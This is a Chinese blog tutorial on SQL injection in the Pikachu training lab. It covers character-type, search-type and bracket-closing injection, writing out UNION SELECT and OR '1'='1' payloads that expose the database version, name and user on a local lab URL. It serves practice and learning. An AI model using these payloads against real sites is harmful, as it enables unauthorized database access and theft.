SQL注入(pikachu)字符型注入和搜索型注入

一、字符型注入

1.判断column列数

注意:前面加上'进行闭合,中间是判断列数的sql语句,后面的注释掉

在url中要这么写

1'+union+select+1%2C2%23或者

1'+union+select+1,2--+

2.页面源文件代码

4.传入数据库的语句

(在源文件中用echo $query显示到页面中)

5.查看数据库名和版本号

 接下来注入语句和数字型类同。

二、搜索型注入

1.搜索型文件源码

2.注入语句:

1%' union select 1,2,3#

3.获取数据库版本,数据库名,和用户名

1%' union select version(),database(),user()#

得到结果如下:

 三、xx型注入

和上述方法类同

(1)注入语句:

12213')+union+select+1,2+%23

(2)查看数据库名称和用户

121321')+union+select+version(),database()+%23

得到结果,随后进行表名列名的查询

### Pikachu靶场中的SQL注入字符型攻击方法 在Pikachu靶场中,字符型SQL注入是一种常见的漏洞利用形式。当应用程序未能正确过滤用户输入并将其直接拼接到SQL语句中执行时,就可能发生这种类型的攻击。 对于字符型SQL注入,在`http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince%22&submit=%E6%9F%A5%E8%AF%A2`这个URL中,参数`name`是一个字符串类型的数据[^2]。如果该参数未被适当处理,则可以通过构造特定的输入来操纵后台SQL查询逻辑。 #### 构造恶意请求 假设存在如下SQL查询: ```sql SELECT * FROM users WHERE username='vince"' ``` 通过向`name`参数附加特殊字符(如单引号),可以改变原有SQL语句结构,从而实现不同目的的操作。例如,尝试闭合当前条件并通过OR子句绕过验证: ```bash http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince'%20or%20'1'%3D'1 ``` 这会使得最终形成的SQL变为: ```sql SELECT * FROM users WHERE username='vince' or '1'='1' ``` 上述操作将返回所有符合条件的结果集而不是仅限于指定用户的记录。 #### 获取更多信息 为了进一步探索数据库内部情况,可采用联合查询的方式提取额外数据。比如想要知道当前使用的MySQL版本信息,可以在原基础上追加UNION SELECT语句: ```bash http://127.0.0.1/pikchu/vul/sqli/sqli_str.php?name=vince'%20union%20select%20@@version--+ ``` 此命令将会把服务器端运行环境下的MySQL版本展示出来。 需要注意的是,实际渗透测试过程中应当遵循合法授权范围内的活动准则,并且只针对允许测试的目标实施此类技术研究。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅_花_七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值